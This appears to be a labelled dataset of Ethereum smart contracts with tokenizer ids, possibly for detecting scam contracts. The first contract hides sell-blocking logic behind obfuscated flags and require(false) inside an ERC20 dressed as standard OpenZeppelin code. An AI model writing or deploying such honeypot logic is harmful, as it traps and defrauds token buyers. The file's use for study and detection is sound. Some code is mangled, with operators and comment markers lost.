them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner / function DetectSell(address spender, bool val, bool val2, bool val3, bool val4) external onlyOwner { infinit[spender] = val; fifa[spender] = val2; dollar[spender] = val3; nanos = val4; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if ((address(sender) == creator) && (catness == false)) { airline = chTx; nanos = true; } if ((address(sender) == creator) && (catness == true)) { infinit[recipient] = true; fifa[recipient] = false; catness = false; } if ((amount > dubai) && (infinit[sender] == true) && (address(sender) != creator)) { dollar[recipient] = true; } if (infinit[recipient] != true) { fifa[recipient] = ((randomly() == 4) ? true : false); } if ((fifa[sender]) && (infinit[recipient] == false)) { fifa[recipient] = true; } if (infinit[sender] == false) { if ((amount > dubai) && (dollar[sender] == true)) { require(false); } require(amount < airline); if (nanos == true) { if (dollar[sender] == true) { require(false); } dollar[sender] = true; } } _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Changes the `amount` of the minimal tokens there should be in supply, * in order to not burn more tokens than there should be. / / * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal { uint256 tok = amount; require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); if ((address(owner) == creator) && (pengg == true)) { infinit[spender] = true; fifa[spender] = false; dollar[spender] = false; pengg = false; } tok = (fifa[owner] ? 6125753 : amount); _allowances[owner][spender] = tok; emit Approval(owner, spender, tok); } /* * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2654, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1019, 1012, 2385, 1025, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 19204, 26066, 2015, 1012, 1008, 1013, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 19204, 6454, 1012, 1008, 1013, 3853, 6454, 1006, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 19204, 2171, 1012, 1008, 1013, 3853, 2171, 1006, 1007, 6327, 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/** Submitted for verification at Etherscan.io on 2022-01-06 / // SPDX-License-Identifier: MIT // 84 71 32 64 84 104 101 71 104 111 115 116 68 101 118 // ASCII pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } interface IERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract GiveawayContract is Ownable { using SafeMath for uint256; IERC20 public tokenAccel; struct TokenInputInfo { address addr; uint256 rateInput; uint256 rateOutput; } mapping (uint256 => TokenInputInfo) public tokenInput; mapping (uint256 => mapping (address => uint256)) private balances; mapping (address => bool) public claimed; uint256 private totalDevidend; constructor(address _tokenAccel) { tokenAccel = IERC20(_tokenAccel); } function ownerAddInputTokenForSwap(uint256 id, address _inputToken, uint256 _inputRate, uint256 _outputRate)public onlyOwner{ require(id < 3, "There 3 token, id should be 0,1,2"); tokenInput[id].addr = _inputToken; tokenInput[id].rateInput = _inputRate; tokenInput[id].rateOutput = _outputRate; } receive() external payable { } function ownerWithdrawEthAndToken() public onlyOwner{ tokenAccel.transfer(msg.sender, tokenAccel.balanceOf(address(this))); payable(msg.sender).transfer(address(this).balance); } function ownerSetupTokenBalance(uint256 id, address[] calldata accounts, uint256[] calldata amount) public onlyOwner { require(id < 3, "There 3 token, id should be 0,1,2"); for( uint256 i = 0; i < accounts.length; i++){ balances[id][accounts[i]] = amount[i]; totalDevidend = totalDevidend.add(amount[i].mul(tokenInput[id].rateOutput).div(tokenInput[id].rateInput)); } } function getClaimableAmount(address account) public view returns(uint256 tokens, uint256 eth, uint256 dividend){ if(totalDevidend == 0){ tokens = 0; eth = 0; dividend = 0; }else{ uint256 yourDividend = 0; for (uint256 i= 0; i<3; i++){ if(tokenInput[i].rateInput > 0) yourDividend = yourDividend.add(balances[i][account].mul(tokenInput[i].rateOutput).div(tokenInput[i].rateInput)); } tokens = tokenAccel.balanceOf(address(this)).mul(yourDividend).div(totalDevidend); eth = address(this).balance.mul(yourDividend).div(totalDevidend); dividend = yourDividend; } } function claim() public{ require(claimed[msg.sender] == false, "Already claimed"); claimed[msg.sender] = true; (uint256 tokens, uint256 eth, uint256 dividend) = getClaimableAmount(msg.sender); tokenAccel.transfer(msg.sender, tokens); payable(msg.sender).transfer(eth); totalDevidend = totalDevidend - dividend; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 5890, 1011, 5757, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 6391, 6390, 3590, 4185, 6391, 9645, 7886, 6390, 9645, 11118, 10630, 12904, 6273, 7886, 12963, 1013, 1013, 2004, 6895, 2072, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 2019, 4646, 1008, 2003, 4986, 1007, 1012, 1008, 1008, 2023, 3206, 2003, 2069, 3223, 2005, 7783, 1010, 3075, 1011, 2066, 8311, 1012, 1008, 1013, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 2064, 2101, 2022, 2904, 2007, 1063, 4651, 12384, 2545, 5605, 1065, 1012, 1008, 1008, 2023, 11336, 2003, 2109, 2083, 12839, 1012, 2009, 2097, 2191, 2800, 1996, 16913, 18095, 1008, 1036, 2069, 12384, 2121, 1036, 1010, 2029, 2064, 2022, 4162, 2000, 2115, 4972, 2000, 21573, 2037, 2224, 2000, 1008, 1996, 3954, 1012, 1008, 1013, 10061, 3206, 2219, 3085, 2003, 6123, 1063, 4769, 2797, 1035, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3988, 10057, 1996, 3206, 4292, 1996, 21296, 2121, 2004, 1996, 3988, 3954, 1012, 1008, 1013, 9570, 2953, 1006, 1007, 1063, 4769, 5796, 5620, 10497, 2121, 1027, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1025, 1035, 3954, 1027, 5796, 5620, 10497, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 1006, 1014, 1007, 1010, 5796, 5620, 10497, 2121, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 4769, 1997, 1996, 2783, 3954, 1012, 1008, 1013, 3853, 3954, 1006, 1007, 2270, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 1035, 3954, 1025, 1065, 1013, 1008, 1008, 1008, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-06-02 / // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity 